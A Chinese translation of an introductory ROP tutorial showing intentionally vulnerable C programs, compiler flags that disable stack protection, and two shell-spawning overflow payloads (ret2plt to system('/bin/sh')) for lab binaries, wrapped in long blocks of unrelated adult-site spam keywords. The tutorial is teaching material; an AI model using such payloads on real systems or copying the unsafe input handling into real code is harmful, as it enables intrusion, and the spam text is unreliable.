精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

ROP內存攻擊技術入門教程

安全 黑客攻防
ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。

[[185453]]

一、前言

不可否認的是,不管是CTF賽事,還是二進制漏洞利用的過程中,ROP都是一個很基礎很重要的攻擊技術。

這一段是譯者自己加的,與原文無關。

ROP的全稱為Return-oriented programming(返回導向編程),這是一種高級的內存攻擊技術可以用來繞過現代操作系統的各種通用防御(比如內存不可執行和代碼簽名等)。  

ROP是一種攻擊技術,其中攻擊者使用堆棧的控制來在現有程序代碼中的子程序中的返回指令之前,立即間接地執行精心挑選的指令或機器指令組。

因為所有執行的指令來自原始程序內的可執行存儲器區域,所以這避免了直接代碼注入的麻煩,并繞過了用來阻止來自用戶控制的存儲器的指令的執行的大多數安全措施。

因此,ROP技術是可以用來繞過現有的程序內部內存的保護機制的。在學習下面的內容之前,先確保自己已經了解了基本的堆棧溢出的漏洞原理。

二、一個簡單的經典緩沖區溢出例子

  1. #include <unistd.h> 
  2. #include <stdio.h> 
  3. void vuln(){ 
  4.    char buffer[10]; 
  5.    read(0,buffer,100); 
  6.    puts(buffer); 
  7. int main() { 
  8.    vuln(); 

這個程序有明顯的緩沖區溢出攻擊。在vuln()函數中設置了10個字節的緩沖區,而我們讀取的字節高達100個字節。read()的濫用導致了緩沖區溢出。

我們可以看看vuln函數調用時候,堆棧的情況:

  1. ADDRESS       DATA 
  2. 0xbfff0000    XX XX XX XX  <- buffer  
  3. 0xbfff0004    XX XX XX XX  
  4. 0xbfff0008    XX XX XX XX  
  5. 0xbfff000c    XX XX XX XX  
  6. ........ 
  7. 0xbfff0020    YY YY YY YY  <- saved EBP address 
  8. 0xbfff0024    ZZ ZZ ZZ ZZ  <- return address 

當緩沖區填充正確的大小時,可以修改保存的返回地址,允許攻擊者控制EIP,從而允許他執行任意任意代碼。

三、緩沖區溢出防御措施

但是,在現代的系統中,有一些防御措施可以避免被攻擊:

  • ALSR
  • Stack Canaries
  • NX/DEP

防御措施大概有這些內容,原文作者只是簡單的介紹了一下,如果想更清晰了解,可以參考譯者博客。

1. NX/DEP

DEP表示數據執行預防,此技術將內存區域標記為不可執行。通常堆棧和堆被標記為不可執行,從而防止攻擊者執行駐留在這些區域的內存中的代碼。

2. ASLR

ASLR表示地址空間層隨機化。這種技術使共享庫,堆棧和堆被占用的內存的地址隨機化。這防止攻擊者預測在哪里采取EIP,因為攻擊者不知道他的惡意有效載荷的地址。

3. Stack Canaries

下文簡稱為:Canary

在這種技術中,編譯器在堆棧幀的局部變量之后和保存的返回地址之前放置一個隨機化保護值。在函數返回之前檢查此保護,如果它不相同,然后程序退出。我們可以將它可視化為:

  1. ADDRESS       DATA 
  2. 0xbfff0000    XX XX XX XX  <- buffer  
  3. 0xbfff0004    XX XX XX XX  
  4. 0xbfff0008    XX XX XX XX  
  5. 0xbfff000c    CC CC CC CC  <- stack canary 
  6. ........ 
  7. 0xbfff0020    YY YY YY YY  <- saved EBP address 
  8. 0xbfff0024    ZZ ZZ ZZ ZZ  <- return address 

如果攻擊者試圖修改返回地址,Canayr也將不可避免地被修改。因此,在函數返回之前,檢查這個Canayr,從而防止利用。

那么我們如何繞過這些防御措施呢?

四、Return Oritented Programming (ROP編程)

ROP是一個復雜的技術,允許我們繞過DEP和ALSR,但不幸的是(或對于用戶來說幸運的是)這不能繞過Canary,但如果有額外的內存泄漏,我們可以通過泄露,leak canary的值和使用它。

ROP re-uses ,即我們可以重用Bin文件或者Libc文件(共享庫)中的代碼。這些代碼,或者說指令,通常被我們稱作“ROP Gadget”。

下文,我們將來分析一下,一個特殊的ROP例子,我們稱作Return2PLT。應該注意的是,只有libc基地址被隨機化,特定函數從其基地址的偏移總是保持不變。如果我們可以繞過共享庫基地址隨機化,即使ASLR打開,也可以成功利用漏洞程序。

讓我們分析下,下面這個脆弱的代碼

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <unistd.h> 
  4. #include <stdlib.h> 
  5. void grant() { 
  6.    system("/bin/sh"); 
  7. void exploitable() { 
  8.    char buffer[16]; 
  9.    scanf("%s", buffer); 
  10.    if(strcmp(buffer,"pwned") == 0) grant(); 
  11.    else  puts("Nice try\n"); 
  12. int main(){ 
  13.    exploitable(); 
  14.    return 0; 

我們上文說了,ROP技術并不能繞過Canay保護措施,所以我們編譯這個程序的時候需要關閉對戰保護程序。我們可以利用下面的命令編譯。 

  1. $ gcc hack_me_2.c -o hack_me_2 -fno-stack-protector -m32 

五、譯者的程序分析

我先看看代碼,再翻譯作者的文章。我們看到,在exploitable()函數中,設置了16字節的緩沖區,但是值得我們注意的是scanf函數沒有安全的使用,這導致我們可以寫入超過16字節,這就導致了緩沖區溢出的可能。我們用注意到,有個函數調用了sytem("/bin/sh"),這里我們就可以假設,如果我們可以操作函數調轉,去調用grant()函數,我們就可以拿到shell了。 基本上思路就是這樣的。

讀取程序的內存映射,我們可以看到它的棧是只讀/ 不可執行的。

六、讓我們嘗試控制EIP

由于scanf不執行綁定的check,因此我們可以通過覆蓋函數的返回地址來指向某個已知位置來控制EIP。我會嘗試指向它grant()達到getshell的目的。我們可以通過objdum工具,來獲取grant()的地址。

除了利用objdump來看,當然我們還是可以用IDA查找的。

objdump命令如下

  1. $ objdump -d ./hack_me_2 | grep grant 

結果應該看起來是這樣的

  1. 080484cb <grant>: 
  2.  8048516:e8 b0 ff ff ff call 80484cb <grant> 

接下來就是寫exp,達到目的了。

  1. $(python -c'print“A”* 28 +“\ xcb \ x84 \ x04 \ x08”' ; cat  - )| ./hack_me_2 

七、這里譯者補充幾點

第一: 為什么是28個字節?這個是需要我們自己去分析的,我們需要計算兩者直接字節數的值,才好控制跳轉,畢竟本文是基于我們了解緩沖區溢出知識后的,如果有疑問,可以留言,或者自尋百度。

第二: 從代碼來看,我們可以知道原文作者的環境是基于32位的,所以這里需要了解一下小端的知識。

運行上述代碼之后,我們就可以成功getshell了。

很明顯,大多數程序不會為你調用shell這個很容易,我們需要修改程序讓demo更貼近現實一點。

  1. #include <stdio.h> 
  2. #include <string.h> 
  3. #include <unistd.h> 
  4. #include <stdlib.h> 
  5. char *shell = "/bin/sh"
  6. void grant() { 
  7.    system("cowsay try again"); 
  8. void exploitable() { 
  9.    char buffer[16]; 
  10.    scanf("%s", buffer); 
  11.    if(strcmp(buffer,"pwned") == 0) grant(); 
  12.    else  puts("Nice try\n"); 
  13. int main(){ 
  14.    exploitable(); 
  15.    return 0; 

運行先前的exp,我們發現并沒有getshell,那么我們怎么去調用sysytem(“/bin/sh”)呢?

分析,這次的程序并沒有直接調用 system("/bin/sh")了,但是漏洞產生的原理和之前的一樣。就不再復述了。

八、調用函數約定

當反匯編我們的代碼看起來像這樣的:

  1. 080484cb <grant>: 
  2.  80484cb:55 push%ebp 
  3.  80484cc:89 e5 mov%esp,%ebp 
  4.  80484ce:83 ec 08 sub $ 0x8,%esp 
  5.  80484d1:83 ec 0c sub $ 0xc,%esp 
  6.  80484d4:68 e8 85 04 08 push $ 0x80485e8 
  7. 80484d9:e8 b2 fe ff ff call 8048390 < system @ plt> 
  8.  80484de:83 c4 10 add $ 0x10,%esp 
  9.  80484e1:90 nop 
  10.  80484e2:c9 leave 
  11.  80484e3:c3 ret 
  12. 080484e4 <exploitable>: 
  13.  8048516:e8 b0 ff ff ff call 80484cb <grant> 
  14.  804851b:eb 10 jmp 804852d <exploitable + 0x49> 

讓我們簡單看看每個指令的作用。

在可利用的情況下,我們調用grant()使用指令去做兩件事情,推送下一個地址0x0804851b到堆棧,并更改EIP為0x080484cb 到grant()所在的地址

  1. push   %ebp     
  2. mov %esp,%ebp 

這是函數的初始化。它為當前函數設置堆棧框架。它通過push之前保存的一堆棧幀的基指針,然后將當前基指針更改為堆棧指針($ ebp = $ esp)?,F在grant()可以使用它的棧來存儲變量和whatnot。

之后,它通過從esp中減去來為局部變量分配空間(因為堆棧增長),最后0x080485e8在調用之前將地址壓入堆棧,system()它是指向將作為參數傳遞的字符串的指針system(),它有點像

  1. system(*0x80485e8) 

最后ret,將保存的 函數返回地址從堆棧的頂部pop出值到EIP。

九、構建我們自己的堆棧幀

我們已經看到了當函數被調用時堆棧的行為,這意味著

  • 我們可以構造我們自己的堆棧幀
  • 控制參數到我們跳轉到的函數
  • 確定此函數返回的位置
  • 如果我們控制這兩者之間的堆棧,我們可以控制返回函數的參數
  • 通過ROP鏈接在多個函數中跳轉

從objdump我們看到“/ bin / sh”的地址是 0x080485E0

  1. $ objdump -s -j .rodata hack_me_3 
  2. hack_me_3:     file format elf32-i386 
  3. Contents of section .rodata: 
  4. 80485d8 03000000 01000200 2f62696e 2f736800  ......../bin/sh. 
  5. 80485e8 636f7773 61792074 72792061 6761696e  cowsay try again 
  6. 80485f8 00257300 70776e65 64004e69 63652074  .%s.pwned.Nice t 
  7. 8048608 72790a00 

我們構造一個“假”的堆棧結構,然后修改函數的返回地址,這樣的堆棧結構如下:

  1. ADDRESS       DATA 
  2. ........ 
  3.  // exploitable() stack 
  4. 0xbfff0004    80 48 4d 90  <- return address 
  5. // our frame 
  6. 0xbfff0008    41 41 41 41  <- saved return pointer, system() 
  7. 0xbfff000c    08 04 85 E0  <- "/bin/sh" 

所以以,當函數exploitable()返回時,它返回system(),將看到它返回地址為41414141和參數為“/bin/sh”,這將產生一個shell,但是當它返回時會彈出41414141到EIP,它是一個有效的地址,我們可以ROP連接他們,只要他們不需要參數。所以,我們最后的利用代碼是:   

  1. $(python -c'print“A”* 28 +“\ x90 \ x83 \ x04 \ x08”+“\ x41 \ x41 \ x41 \ x41”+“\ xE0 \ x85 \ x04 \ x08” | ./hack_me_3 

注:本文僅用于交流學習與安全研究,請勿對文中提及的內容進行惡意使用!本平臺及作者對讀者的之后的行為不承擔任何法律責任。

責任編輯:趙寧寧 來源: 安全客
相關推薦

2013-08-29 14:12:52

Storm分布式實時計算

2010-08-03 13:06:15

Flex Builde

2009-07-08 15:12:48

Java Servle

2014-05-26 15:35:55

Web組件Web Compone

2013-06-28 13:35:37

2010-06-13 09:45:35

Widget開發

2013-08-29 14:28:09

StormHadoop

2010-08-03 14:37:30

Flex入門教程

2010-05-21 12:50:45

Subversion快

2024-11-12 15:46:37

2010-07-27 15:53:15

2011-07-21 10:29:18

iPhone 開發

2012-05-10 08:29:46

XcodeiOSPhoneGap

2011-09-02 10:59:10

jQuery Mobi

2010-06-18 16:56:50

UML建模語言

2018-03-22 14:59:13

Docker入門容器

2013-06-24 13:38:34

HTML5 DataList

2010-07-20 16:19:54

Perl

2022-09-21 21:50:18

Dapr消息隊列

2012-07-17 09:13:14

Scrapy
點贊
收藏

51CTO技術棧公眾號

亚洲资源在线观看| 久久久久网站| 精品美女一区二区| 怡红院av亚洲一区二区三区h| 手机看片福利在线观看| 日日骚欧美日韩| 久久久国产精品视频| 欧美xxxxx少妇| 网友自拍亚洲| 亚洲激情第一区| 欧美18视频| 99久久精品国产一区色| 亚洲美女少妇无套啪啪呻吟| 中文字幕欧美日韩| 在线观看一区二区三区四区| 影视一区二区三区| 一区二区三区毛片| 日韩欧美亚洲区| 丰满熟妇乱又伦| 日韩二区三区四区| 欧美精品videos性欧美| 天天操天天摸天天舔| 欧美变态挠脚心| 91精品婷婷国产综合久久| 免费成人在线视频网站| 宅男网站在线免费观看| 国产日韩欧美综合一区| 国产伦精品一区二区三区免| 国产永久免费视频| 天堂蜜桃91精品| 欧美精品第一页在线播放| 亚洲欧洲综合网| 国产a久久精品一区二区三区| 欧美videossexotv100| 在线观看国产中文字幕| 亚洲插插视频| 亚洲18色成人| 国产a级黄色大片| 蜜桃av在线免费观看| 国产亚洲精品bt天堂精选| 国产精品日韩高清| www.欧美国产| 国产一区亚洲一区| 国产精品亚洲网站| 波多野结衣视频免费观看| 在线综合亚洲| 午夜免费久久久久| 久久久久久免费观看| 欧美在线不卡| 久久久成人精品视频| 国内毛片毛片毛片毛片毛片| 狠狠操综合网| 在线成人免费网站| 快灬快灬一下爽蜜桃在线观看| 亚洲第一二三区| 亚洲九九九在线观看| a级一a一级在线观看| 成人在线视频你懂的| 精品日韩在线一区| www日本在线观看| 日韩中文字幕无砖| 精品国产乱码久久久久久浪潮| 美女日批在线观看| 国产乱人伦丫前精品视频| 欧美精品一区在线观看| 182在线视频| 奇米777国产一区国产二区| 亚洲激情视频在线观看| 一级特级黄色片| 伊人久久大香线蕉无限次| 亚洲精品视频免费| av手机在线播放| 日韩欧美精品综合| 久久亚洲精品网站| 欧美日韩国产精品一区二区三区| 欧美高清一区| 久久免费福利视频| 久久久久久不卡| 蜜臀久久99精品久久久久宅男| 国产精品一二区| aa视频在线免费观看| 成人午夜在线播放| 欧美一区二区三区电影在线观看| 91美女视频在线| 亚洲男同性视频| 毛片在线播放视频| av激情成人网| 91精品免费在线| 亚洲调教欧美在线| 欧美一级精品| 欧美高清在线播放| 一级片在线观看免费| 国产综合一区二区| 精品一卡二卡三卡四卡日本乱码| 国产永久免费高清在线观看| 亚洲欧美中日韩| 男女日批视频在线观看| 成人日韩精品| 精品日韩一区二区| 摸摸摸bbb毛毛毛片| 欧美精选一区| 国产成人亚洲综合91| 国产av无码专区亚洲av麻豆| 91美女片黄在线观看| 一级黄色录像免费看| 丝袜老师在线| 日韩一区二区三区三四区视频在线观看 | 日本少妇激三级做爰在线| 国产三级精品三级在线观看国产| 一个人www欧美| 国产一级在线观看视频| 奇米影视一区二区三区| 国产一区二区三区色淫影院| 天天在线视频色| 欧美日韩视频在线| 天堂中文av在线| 蜜桃tv一区二区三区| 久久99视频精品| а中文在线天堂| 成人国产免费视频| 欧美 另类 交| av免费在线一区| 日韩成人免费视频| 麻豆亚洲av成人无码久久精品| 日韩成人精品在线| 久久青青草原一区二区| 国产蜜臀在线| 欧美一区二区三区系列电影| www.黄色在线| 六月婷婷一区| 精品国产乱码久久久久久88av| 国产区在线观看| 欧美三级乱人伦电影| 一区二区不卡免费视频| 亚洲大胆在线| 成人在线免费网站| 在线观看小视频| 777色狠狠一区二区三区| 制服 丝袜 综合 日韩 欧美| 亚洲在线黄色| 久久国产精品一区二区三区四区| 狂野欧美性猛交xxxxx视频| 欧美一级专区免费大片| 内射一区二区三区| 激情六月婷婷综合| 在线免费观看成人网| 国产69精品久久| 中文字幕日韩在线观看| 波多野结衣高清在线| 久久欧美一区二区| www.亚洲天堂网| 伊人久久大香线蕉综合网站| 日韩美女免费线视频| 天堂av电影在线观看| 欧美日在线观看| 一本色道久久综合亚洲精品图片 | 久久久久国产视频| 性一交一乱一透一a级| 一区二区三区中文字幕电影| 亚洲精品一二三四| 黄色综合网站| 精品91免费| 中文字幕乱码中文乱码51精品| 国产视频精品免费播放| 中文字幕69页| 欧美激情在线观看视频免费| 一级黄色录像在线观看| 午夜影院欧美| 国产精品福利视频| 筱崎爱全乳无删减在线观看| 一本大道亚洲视频| 国产精品九九九九| 亚洲一区视频在线观看视频| 女同性恋一区二区三区| 久久久久久9| 五月天色婷婷综合| 中文无码日韩欧| 2019亚洲男人天堂| avtt亚洲| 欧美www视频| 成人av网站在线播放| 国产精品免费视频一区| 免费观看黄网站| 一本色道88久久加勒比精品| 日韩在线第一区| 精品中文在线| 欧美亚洲国产日本| 日本在线www| 欧美精品一区二区三区很污很色的| 日本三级一区二区| 成人免费在线观看入口| 免费a v网站| 老司机免费视频一区二区三区| 成年人深夜视频| 欧美日韩黑人| 成人女人免费毛片| 456成人影院在线观看| 欧美精品手机在线| 久久经典视频| 精品国产露脸精彩对白| 国产精华7777777| 亚洲一区二区三区视频在线播放| 成人精品999| 国产成人av电影在线观看| 能在线观看的av网站| 自产国语精品视频| 日产精品久久久一区二区| 视频一区中文字幕精品| 国产精品久久一区| av中文字幕在线看| 久久躁狠狠躁夜夜爽| 可以在线观看的av网站| 欧美精品一区二区精品网| 亚洲中文一区二区三区| 欧美日韩性视频在线| 国产三级在线观看完整版| 91在线国产观看| 欧美高清精品一区二区| 日本成人中文字幕在线视频| 欧美在线一区视频| 欧美在线黄色| 一区二区三区我不卡| 一本色道久久综合亚洲精品酒店| www.久久爱.cn| www久久久| 国产精品视频在线播放| 朝桐光一区二区| 欧美制服第一页| 国产欧洲在线| 久久人人爽国产| 欧美hdxxxxx| 欧美精品做受xxx性少妇| 欧美a免费在线| 中文字幕免费精品一区| 男男激情在线| 亚洲欧美国产另类| 少妇一区二区三区四区| 精品国产一区久久| 亚洲va欧美va| 欧美大黄免费观看| 国产丰满美女做爰| 欧美一级视频精品观看| 999免费视频| 欧美一区二区在线播放| 国产区精品在线| 欧美一区二区三区四区五区| 国产男男gay网站| 51精品久久久久久久蜜臀| 国产精品国产三级国产aⅴ| 911精品产国品一二三产区| 一区二区三区亚洲视频| 欧美片在线播放| 国产精品毛片一区视频播 | 囯产精品一品二区三区| 欧美tickling网站挠脚心| 国产后入清纯学生妹| 日韩一区二区三区av| 性一交一乱一色一视频麻豆| 亚洲成人亚洲激情| 天天躁日日躁狠狠躁伊人| 亚洲免费电影一区| 高清在线观看av| 日韩一区二区精品视频| 久做在线视频免费观看| 久久久精品在线| 亚洲男同gay网站| 久久久久久久久久久av| 日韩电影毛片| 国产精品久久久久久久久久小说| 美女视频一区| 99电影在线观看| 欧美偷窥清纯综合图区| 日韩精品极品视频在线观看免费| 日韩精品免费一区二区三区| 国产又粗又硬又长| 亚洲国产日韩欧美一区二区三区| 日本毛片在线免费观看| 视频精品一区二区| 伊人成人免费视频| av不卡在线播放| 男女做爰猛烈刺激| **性色生活片久久毛片| 国产一级一片免费播放| 色悠悠久久综合| 国产精品天天操| 亚洲国产91色在线| 成人在线播放视频| 欧美激情乱人伦| 日韩欧美一区二区三区免费观看 | 欧美一级片免费在线| 日韩漫画puputoon| 成人高清在线观看| 国产欧美日韩免费观看| 欧美日韩dvd| 三级一区在线视频先锋 | 2023国产精品视频| 91插插插插插插| 日本乱人伦aⅴ精品| a级片免费视频| 亚洲美女福利视频网站| 18av在线播放| 国产精品露脸自拍| 九色丨蝌蚪丨成人| 成年人免费观看的视频| 国产欧美另类| 先锋资源在线视频| 国产丝袜欧美中文另类| 国产精品a成v人在线播放| 欧美日韩一区二区三区四区| 日日躁夜夜躁白天躁晚上躁91| 精品国产欧美一区二区五十路| 免费一二一二在线视频| 亚洲自拍小视频| 久久视频在线| 免费黄色特级片| av中文字幕在线不卡| 色在线观看视频| 欧美日韩国产另类一区| 全色精品综合影院| 韩剧1988免费观看全集| 韩国一区二区三区视频| 一区二区成人国产精品 | 国产欧美精品一区二区三区-老狼| gogo久久日韩裸体艺术| 中文字幕久精品免| 日韩国产精品久久久久久亚洲| 亚洲av成人精品一区二区三区| 亚洲精选一二三| 一级久久久久久久| 一区二区中文字幕| 黑人巨大精品| 久久青青草原一区二区| 国产人成精品一区二区三| 一区二区三区四区影院| 夜夜揉揉日日人人青青一国产精品| 91激情在线观看| 在线成人激情视频| 成人毛片免费| 亚洲国产精品www| 日本不卡123| 夫妇露脸对白88av| 欧美体内she精视频| 欧美69xxxxx| 欧洲精品久久久| 久久99久久人婷婷精品综合 | 3d欧美精品动漫xxxx无尽| 欧美久久久久久| 久久亚洲视频| 日本人亚洲人jjzzjjz| 欧美性猛交xxxx黑人交| h视频网站在线观看| 国产精品久久久久久久久久久新郎| 一区二区三区视频免费观看| 国产精品动漫网站| 久久九九久久九九| 亚洲天堂五月天| 中文字幕在线亚洲| 91成人小视频| 日韩a级黄色片| 成人v精品蜜桃久久一区| 国产精品久久久久久久妇| 日韩经典中文字幕在线观看| 中文字幕在线视频久| 日韩片电影在线免费观看| 美女mm1313爽爽久久久蜜臀| 四虎永久免费在线| 精品国产一二三区| 成人av免费电影网站| 日本一区不卡| 久久电影网站中文字幕| 欧美极品视频在线观看| 亚洲精品久久久久久久久| 欧美片第一页| 麻豆中文字幕在线观看| 成人短视频下载| 日韩黄色片网站| 久久久国产精品免费| 精品三级av| 亚洲三级视频网站| 亚洲精品国产a| 三级理论午夜在线观看| 国产精品女视频| 欧美区一区二| 精品国产av无码| 欧美一区2区视频在线观看| 午夜影视一区二区三区| 亚洲乱码一区二区三区| 成人久久视频在线观看| 无码人妻丰满熟妇精品区| 久久综合电影一区| 神马日本精品| www.久久久久久久久久久| 亚洲.国产.中文慕字在线| 欧美三级黄网| 久久青青草原一区二区| 国产一区二区三区香蕉| 毛片在线免费视频| 久久亚洲精品国产亚洲老地址| 青青一区二区| 国内自拍第二页|